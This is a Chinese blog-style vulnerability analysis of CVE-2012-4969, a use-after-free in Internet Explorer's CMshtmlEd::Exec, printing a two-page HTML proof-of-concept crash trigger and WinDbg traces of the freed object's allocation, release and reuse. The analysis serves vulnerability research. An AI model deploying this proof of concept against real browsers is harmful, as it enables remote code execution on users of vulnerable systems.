Microsoft Internet Explorer ‘CMshtmlEd::Exec’函数释放后使用漏洞(CNNVD-201209-394)

Microsoft Internet Explorer是微软Windows操作系统中默认捆绑的WEB浏览器。 
        Microsoft Internet Explorer 6至9版本中的‘mshtml.dll’中的‘CMshtmlEd::Exec’函数中存在释放后使用漏洞。远程攻击者可利用该漏洞通过特制的网站,执行任意代码。

poc.html

  1. <HTML>
  2.  
  3. <BODY>
  4.  
  5. <script>
  6.  
  7. var arrr = new Array();
  8.  
  9. arrr[0] = window.document.createElement("img");
  10.  
  11. arrr[0]["src"] = "W";
  12.  
  13. </script>
  14.  
  15. <iframe src="CVE-2012-4969.HTML"></iframe>
  16.  
  17. </body>
  18.  
  19. </HTML>
  1. <HTML>
  2.  
  3. <script>
  4.  
  5. function funcB() {
  6.  
  7. document.execCommand("selectAll");
  8.  
  9. };
  10.  
  11. function funcA() {
  12.  
  13. document.write("Y");
  14.  
  15. parent.arrr[0].src="http://zenhumany.blog.163.com/blog/YMjf\u0c08\u0c0cKDogjsiIejengNEkoPDjfiJDIWUAzdfghjAAuUFGGBSIPPPUDFJKSOQJGH";
  16.  
  17. };
  18.  
  19. </script>
  20.  
  21. <body onload='funcB();' onselect='funcA()'>
  22.  
  23. <div contenteditable='true'>
  24.  
  25. a
  26.  
  27. </div>
  28.  
  29. </body>
  30.  
  31. </HTML>
  1. CVE-2012-4969.HTML
  2.  
  1. 1:020> g
  2. (634.1dc): Access violation - code c0000005 (first chance)
  3. First chance exceptions are reported before any exception handling.
  4. This exception may be expected and handled.
  5. eax=00000000 ebx=0000001f ecx=06da8f30 edx=0000000d esi=00000000 edi=07664f78
  6. eip=6841c4ba esp=0423b748 ebp=0423b754 iopl=0 nv up ei pl nz na pe nc
  7. cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
  8. mshtml!CMshtmlEd::Exec+0x131:
  9. 6841c4ba 8b7f08 mov edi,dword ptr [edi+8] ds:0023:07664f80=????????
  10. 1:020> dd edi
  11. 07664f78 ???????? ???????? ???????? ????????
  12. 07664f88 ???????? ???????? ???????? ????????
  13. 07664f98 ???????? ???????? ???????? ????????
  14. 07664fa8 ???????? ???????? ???????? ????????
  15. 07664fb8 ???????? ???????? ???????? ????????
  16. 07664fc8 ???????? ???????? ???????? ????????
  17. 07664fd8 ???????? ???????? ???????? ????????
  18. 07664fe8 ???????? ???????? ???????? ????????
  19. 1:020> !heap -p -a edi
  20. address 07664f78 found in
  21. _DPH_HEAP_ROOT @ 171000
  22. in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
  23. 76509f4: 7664000 2000
  24. 702290b2 verifier!AVrfDebugPageHeapFree+0x000000c2
  25. 77285674 ntdll!RtlDebugFreeHeap+0x0000002f
  26. 77247aca ntdll!RtlpFreeHeap+0x0000005d
  27. 77212d68 ntdll!RtlFreeHeap+0x00000142
  28. 76d52a5b RPCRT4!FreeWrapper+0x00000031
  29. 76d52a1e RPCRT4!operator delete+0x0000000e
  30. 76d468bf RPCRT4!DCE_BINDING::`scalar deleting destructor'+0x00000013
  31. 76d46938 RPCRT4!LRPC_BINDING_HANDLE::`vector deleting destructor'+0x0000000f
  32. 76d5d4e3 RPCRT4!LRPC_BASE_BINDING_HANDLE::FreeObject+0x00000018
  33. 734c5a25 NLAapi!STRING_HANDLE_unbind+0x0000000f
  34. 76d5f826 RPCRT4!GenericHandleMgr+0x000000e2
  35. 76d5f85a RPCRT4!GenericHandleUnbind+0x00000029
  36. 76d5c687 RPCRT4!NdrpClientFinally+0x00000073
  37. 76db5787 RPCRT4!NdrClientCall2+0x000002ac
  38. 734c53c0 NLAapi!AppSrv_NlaOpenQuery+0x00000019
  39. 734c52ae NLAapi!QueryCtxtConnect+0x00000037
  40. 734c5a82 NLAapi!NlaRegisterQuery+0x00000067
  41. 734c5e8f NLAapi!GetNlaV2Handle+0x0000007e
  42. 734c5d64 NLAapi!WSM_NSPLookupServiceBegin_v2+0x000000c9
  43. 75735871 ws2_32!NSPROVIDER::NSPLookupServiceBegin+0x0000001b
  44. 7573584d ws2_32!NSPROVIDERSTATE::LookupServiceBegin+0x0000001d
  45. 757357dc ws2_32!NSQUERY::LookupServiceBegin+0x0000018d
  46. 7573568c ws2_32!WSALookupServiceBeginW+0x0000007f
  47. 76629402 WININET!NLA_NET_CHANGE::Initialize+0x000000a3
  48. 76629355 WININET!CheckForNetworkChange+0x00000026
  49. 7661e1dd WININET!IsNetAndAutoProxyReady+0x00000020
  50. 7661e111 WININET!InternetInitializeAutoProxyDll+0x00000079
  51. 76b25518 urlmon!IsAutoProxyReady+0x0000004f
  52. 76b16fed urlmon!CSecurityManager::GetZoneFromUri+0x0000004d
  53. 76b18190 urlmon!CSecurityManager::MapUrlToZoneEx2+0x000000f2
  54. 76b29180 urlmon!GetIDNFlagsForUri+0x0000003e
  55. 76b29b7f urlmon!CINetHttp::SetOptionsForUnicodeUrl+0x00000022

这个堆分配记录明显的不对,我猜测是原对象经历了占位导致的

我个人认为这个poc是不具备可调试性的,除非开了上帝视角提前就知道漏洞是啥

我们假设已知发生uaf的对象是CMshtmlEd,否则就没法调了。

有的同学说CMshtmlEd::Exec函数里发生的异常所以异常对象就是CMshtmlEd。这个完全不讲道理,CMshtmlEd的派生类都是可以调用这个方法的,更何况从poc来看你根本就不知道会有CMshtmlEd对象创建,你怎么就知道是CMshtmlEd呢?照这么说崩溃在哪个类的方法里就是哪个对象的uaf,这漏洞简直不用调了,直接看就行了。

我们先调最后再来说CMshtmlEd对象怎么来的。

  1. eax=07abef78 ebx=06ffef20 ecx=7721349f edx=07abef78 esi=00000000 edi=0420b86c
  2. eip=68355d4d esp=0420b838 ebp=0420b850 iopl=0 nv up ei pl nz na pe nc
  3. cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
  4. mshtml!CMshtmlEd::CMshtmlEd:
  5. 68355d4d 8bff mov edi,edi
  6. 1:020> kp
  7. ChildEBP RetAddr
  8. 0420b834 683559cc mshtml!CMshtmlEd::CMshtmlEd
  9. 0420b850 684a249c mshtml!CHTMLEditor::AddCommandTarget+0x2f
  10. 0420b878 6841bbf5 mshtml!CHTMLEditor::GetCommandTarget+0x94
  11. 0420b890 683ddd2e mshtml!CHTMLEditorProxy::GetCommandTarget+0x1e
  12. 0420b8b8 6841c609 mshtml!CEditRouter::SetInternalEditHandler+0x64
  13. 0420b8dc 68394249 mshtml!CEditRouter::ExecEditCommand+0xac
  14. 0420bc98 684fb040 mshtml!CDoc::ExecHelper+0x3cd7
  15. 0420bcb8 6853aad6 mshtml!CDocument::Exec+0x24
  16. 0420bce0 684fcd0a mshtml!CBase::execCommand+0x53
  17. 0420bd18 68533f8f mshtml!CDocument::execCommand+0x94
  18. 0420bd90 683f235c mshtml!Method_VARIANTBOOLp_BSTR_oDoVARIANTBOOL_o0oVARIANT+0x14e
  19. 0420be04 683f25d5 mshtml!CBase::ContextInvokeEx+0x5dc
  20. 0420be30 683fdf9a mshtml!CBase::InvokeEx+0x25
  21. 0420be80 683b4998 mshtml!DispatchInvokeCollection+0x14c
  22. 0420bec8 683a3148 mshtml!CDocument::InvokeEx+0xf0
  23. 0420bef0 683a3104 mshtml!CBase::VersionedInvokeEx+0x20
  24. 0420bf44 68a3a22a mshtml!PlainInvokeEx+0xeb
  25. 0420bf80 68a3a175 jscript!IDispatchExInvokeEx2+0x104
  26. 0420bfbc 68a3a3f6 jscript!IDispatchExInvokeEx+0x6a
  27. 0420c07c 68a3a4a0 jscript!InvokeDispatchEx+0x98
  1. edx=07abef78是分配的堆对象的地址
  1. eax=00000000 ebx=06ffef8c ecx=00000001 edx=06ffef8c esi=07abef78 edi=00000001
  2. eip=6842396f esp=04207ca4 ebp=04207cac iopl=0 nv up ei pl zr na pe nc
  3. cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
  4. mshtml!CMshtmlEd::~CMshtmlEd:
  5. 6842396f 8b460c mov eax,dword ptr [esi+0Ch] ds:0023:07abef84=06fd4fc0
  6. 1:020> kp
  7. ChildEBP RetAddr
  8. 04207ca0 68423954 mshtml!CMshtmlEd::~CMshtmlEd
  9. 04207cac 6861db12 mshtml!CMshtmlEd::Release+0x16
  10. 04207cc4 68619f59 mshtml!CHTMLEditor::DeleteCommandTarget+0x34
  11. 04207cf0 684a246a mshtml!CHTMLEditor::RemoveContainer+0x15f
  12. 04207cf8 6841a6c5 mshtml!CHTMLEditor::Notify+0x26
  13. 04207d14 683d285e mshtml!CHTMLEditorProxy::Notify+0x21
  14. 04207d30 6842a861 mshtml!CDoc::NotifySelection+0x59
  15. 04207d98 68212bb4 mshtml!COmWindowProxy::SwitchMarkup+0x348
  16. 04207e94 68210789 mshtml!CDocument::open+0x426
  17. 04207f10 682c3267 mshtml!CDocument::write+0x7c
  18. 04207f30 683f235c mshtml!Method_void_SAFEARRAYPVARIANTP+0x85
  19. 04207fa4 683f25d5 mshtml!CBase::ContextInvokeEx+0x5dc
  20. 04207fd0 683fdf9a mshtml!CBase::InvokeEx+0x25
  21. 04208020 683b4998 mshtml!DispatchInvokeCollection+0x14c
  22. 04208068 683a3148 mshtml!CDocument::InvokeEx+0xf0
  23. 04208090 683a3104 mshtml!CBase::VersionedInvokeEx+0x20
  24. 042080e4 68a3a22a mshtml!PlainInvokeEx+0xeb
  25. 04208120 68a3a175 jscript!IDispatchExInvokeEx2+0x104
  26. 0420815c 68a3a3f6 jscript!IDispatchExInvokeEx+0x6a
  27. 0420821c 68a3a4a0 jscript!InvokeDispatchEx+0x98
  1. esi=07abef78说明正是这个对象的释放
  1. eax=00000000 ebx=0000001f ecx=06ffef30 edx=0000000d esi=00000000 edi=07abef78
  2. eip=6841c4ba esp=0420b8a0 ebp=0420b8ac iopl=0 nv up ei pl nz na pe nc
  3. cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
  4. mshtml!CMshtmlEd::Exec+0x131:
  5. 6841c4ba 8b7f08 mov edi,dword ptr [edi+8] ds:0023:07abef80=????????
  6. 1:020> kp
  7. ChildEBP RetAddr
  8. 0420b8ac 6841c63b mshtml!CMshtmlEd::Exec+0x131
  9. 0420b8dc 68394249 mshtml!CEditRouter::ExecEditCommand+0xd6
  10. 0420bc98 684fb040 mshtml!CDoc::ExecHelper+0x3cd7
  11. 0420bcb8 6853aad6 mshtml!CDocument::Exec+0x24
  12. 0420bce0 684fcd0a mshtml!CBase::execCommand+0x53
  13. 0420bd18 68533f8f mshtml!CDocument::execCommand+0x94
  14. 0420bd90 683f235c mshtml!Method_VARIANTBOOLp_BSTR_oDoVARIANTBOOL_o0oVARIANT+0x14e
  15. 0420be04 683f25d5 mshtml!CBase::ContextInvokeEx+0x5dc
  16. 0420be30 683fdf9a mshtml!CBase::InvokeEx+0x25
  17. 0420be80 683b4998 mshtml!DispatchInvokeCollection+0x14c
  18. 0420bec8 683a3148 mshtml!CDocument::InvokeEx+0xf0
  19. 0420bef0 683a3104 mshtml!CBase::VersionedInvokeEx+0x20
  20. 0420bf44 68a3a22a mshtml!PlainInvokeEx+0xeb
  21. 0420bf80 68a3a175 jscript!IDispatchExInvokeEx2+0x104
  22. 0420bfbc 68a3a3f6 jscript!IDispatchExInvokeEx+0x6a
  23. 0420c07c 68a3a4a0 jscript!InvokeDispatchEx+0x98
  24. 0420c0b0 68a4d8c8 jscript!VAR::InvokeByName+0x139
  25. 0420c0fc 68a4d96f jscript!VAR::InvokeDispName+0x7d
  26. 0420c128 68a4e3e7 jscript!VAR::InvokeByDispID+0xce
  27. 0420c2c4 68a45c9d jscript!CScriptRuntime::Run+0x2b80

crash掉了,可以看到引起crash的也正是07abef80。

通过对比三者的栈回溯可以看出,红字以下的部分都是一样的。这说明,UAF对象是在一个函数中被创建,在同一个函数中被释放,又在同一个函数中被重新使用。

  1.  
  1.  

CVE-2012-4969的更多相关文章

  1. Windows Server 2012设置VMWare以服务方式启动(注销后也可以运行,开机也可以自动运行)

    场景:要用一台服务器(Windows Server 2012),加装了一张双口的千兆网卡,安装一个虚拟机,使用爱快在虚拟机里当做软路由. - 那么问题来了,我这台是只能远程的,如果软路由没启动,怎么办 ...

  2. How to exploit the x32 recvmmsg() kernel vulnerability CVE 2014-0038

    http://blog.includesecurity.com/2014/03/exploit-CVE-2014-0038-x32-recvmmsg-kernel-vulnerablity.html ...

  3. Windows server 2012 添加中文语言包(英文转为中文)(离线)

    Windows server 2012 添加中文语言包(英文转为中文)(离线) 相关资料: 公司环境:亚马孙aws虚拟机 英文版Windows2012 中文SQL Server2012安装包,需要安装 ...

  4. Windows Server 2012 NIC Teaming介绍及注意事项

    Windows Server 2012 NIC Teaming介绍及注意事项 转载自:http://www.it165.net/os/html/201303/4799.html Windows Ser ...

  5. 1.初始Windows Server 2012 R2 Hyper-V + 系统安装详细

    干啥的?现在企业服务器都是分开的,比如图片服务器,数据库服务器,redis服务器等等,或多或少一个网站都会用到多个服务器,而服务器的成本很高,要是动不动采购几十台,公司绝对吃不消的,于是虚拟化技术出来 ...

  6. 0.Win8.1,Win10,Windows Server 2012 安装 Net Framework 3.5

    后期会在博客首发更新:http://dnt.dkill.net 网站部署之~Windows Server | 本地部署:http://www.cnblogs.com/dunitian/p/482280 ...

  7. windows 2012 r2 can't find kb2919355

    问题   解决: 1.手动安装了 Windows8.1-KB2919442-x64 2.手动下载 KB2919355 更新成功     Turns out to have been a result ...

  8. Windows Server 2012 磁盘管理之 简单卷、跨区卷、带区卷、镜像卷和RAID-5卷

    今天给客户配置故障转移群集,在Windows Server 2012 R2的系统上,通过iSCSI连接上DELL的SAN存储后,在磁盘管理里面发现可以新建 简单卷.跨区卷.带区卷.镜像卷.RAID-5 ...

  9. VMware下Windows Server 2012添加新磁盘

    系统管理员在VM下新装了一台Windows Server 2012服务器,我在上面安装了SQL Server 2014 Standard版数据库,安装之初,只分配了一个C盘,我想在这台服务器上添加了三 ...

  10. 在Windows Server 2012中如何快速开关桌面上经典的“计算机、我的文档”等通用图标

    我们都知道,在Windows Server 2012系列的服务器版本中都已经引入了Modern的现代界面作为默认的用户交互界面,同时满足视觉一致化,新版的服务器管理程序也做成了扁平化.因此传统的计算机 ...

随机推荐

  1. 【Asp.net入门05】第一个ASP.NET 应用程序-测试Asp.net程序

    测试示例应用程序 本部分内容: ASP.NET应用程序测试方法 web窗体访问过程 Visual Studio工具栏上有一个下拉列表,其中列出了工作站上已安装的浏览器的名称(单击浏览器名称右侧的向下箭 ...

  2. python中的常用模块

    python中常用的模块 time: 1)time.localtime([secs]):将一个时间戳转换为当前时区的struct_time.secs参数未提供,则以当前时间为准. 2)time.gmt ...

  3. UITableViewCell的separatorInset属性

    separatorInset这个属性是IOS7后才有的属性,所以需要判断一下,才能修改 if (IOS7_OR_LATER) { cell.separatorInset = UIEdgeInsetsZ ...

  4. java并发实践笔记

    底层的并发功能与并发语义不存在一一对应的关系.同步和条件等底层机制在实现应用层协议与策略须始终保持一致.(需要设计级别策略.----底层机制与设计级策略不一致问题). 简介 1.并发简史.(资源利用率 ...

  5. Java实现各种内部排序算法

    数据结构中常见的内部排序算法: 插入排序:直接插入排序.折半插入排序.希尔排序 交换排序:冒泡排序.快速排序 选择排序:简单选择排序.堆排序 归并排序.基数排序.计数排序 直接插入排序: 思想:每次将 ...

  6. 浅谈iOS与社交化网络

    CHENYILONG Blog 社交化网络 技术博客http://www.cnblogs.com/ChenYilong/ 新浪微博http://weibo.com/luohanchenyilong  ...

  7. SearchSploit

    在我们的GitHub上的Exploit Database存储库中包含一个名为"searchsploit"的Exploit-DB的命令行搜索工具,该工具还允许您在任何地方随身携带一个 ...

  8. sklearn_SVC_支持向量机

    # coding:utf-8 import numpy as np from sklearn.svm import SVC import matplotlib.pyplot as plt #生成数据 ...

  9. 关于getsockname()/getpeername()函数第一次被调用得到0.0.0.0结果的说明

    最近阅读UNIX网络编程第四章时,书本末尾介绍了两个函数getsockname()和getpeername(),可以用于获取服务器端和客户端的IP地址与端口,原本很简单的两个函数,过一眼即明白函数的用 ...

  10. Web 前端开发规范文档

    通用规范: TAB键用两个空格代替(WINDOWS下TAB键占四个空格,LINUX下TAB键占八个空格). CSS样式属性或者JAVASCRIPT代码后加“;”方便压缩工具“断句”. 文件内容编码均统 ...